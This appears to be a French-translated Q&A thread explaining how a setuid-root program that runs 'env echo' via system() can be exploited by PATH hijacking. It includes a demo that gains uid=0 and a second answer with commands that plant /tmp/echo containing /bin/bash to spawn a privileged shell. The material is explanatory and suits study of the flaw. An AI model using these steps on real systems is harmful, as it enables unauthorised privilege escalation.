Vous pouvez remplacer le PATH
variable pour pointer vers un répertoire avec votre version personnalisée de echo
et depuis echo
est exécuté en utilisant env
, il n'est pas traité comme un élément intégré.
Cela ne constitue une vulnérabilité que si le code est exécuté en tant qu'utilisateur privilégié.
Dans l'exemple ci-dessous, le fichier v.c contient le code de la question.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Notez que la définition de l'ID utilisateur réel, de l'ID utilisateur effectif et de l'ID utilisateur enregistré par un appel à setresuid()
avant l'appel au system()
dans le code vulnérable publié dans la question permet d'exploiter la vulnérabilité même lorsque seul l'ID utilisateur effectif est défini sur un ID utilisateur privilégié et que l'ID utilisateur réel reste non privilégié (comme c'est par exemple le cas lorsque l'on s'appuie sur le bit set-user-ID sur un fichier comme ci-dessus). Sans l'appel à setresuid()
le shell exécuté par system()
réinitialiserait l'ID utilisateur effectif sur l'ID utilisateur réel, rendant l'exploit inefficace. Cependant, dans le cas où le code vulnérable est exécuté avec l'ID utilisateur réel d'un utilisateur privilégié, system()
l'appel seul suffit. Citant sh
page de manuel :
Si le shell est démarré avec l'ID utilisateur (groupe) effectif différent de l'ID utilisateur (groupe) réel et que l'option -p n'est pas fournie, aucun fichier de démarrage n'est lu, les fonctions shell ne sont pas héritées de l'environnement, la variable SHELLOPTS , s'il apparaît dans l'environnement, est ignoré et l'ID utilisateur effectif est défini sur l'ID utilisateur réel. Si l'option -p est fournie à l'appel, le comportement au démarrage est le même, mais l'ID utilisateur effectif n'est pas réinitialisé.
Notez également que setresuid()
n'est pas portable, mais setuid()
ou setreuid()
peut également être utilisé dans le même sens.
bien en fait sur l'appel de la fonction système, vous pouvez jouer avec le echo
command.par exemple si vous exécutez le code suivant :
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
vous obtiendrez un shell avec la permission du propriétaire du fichier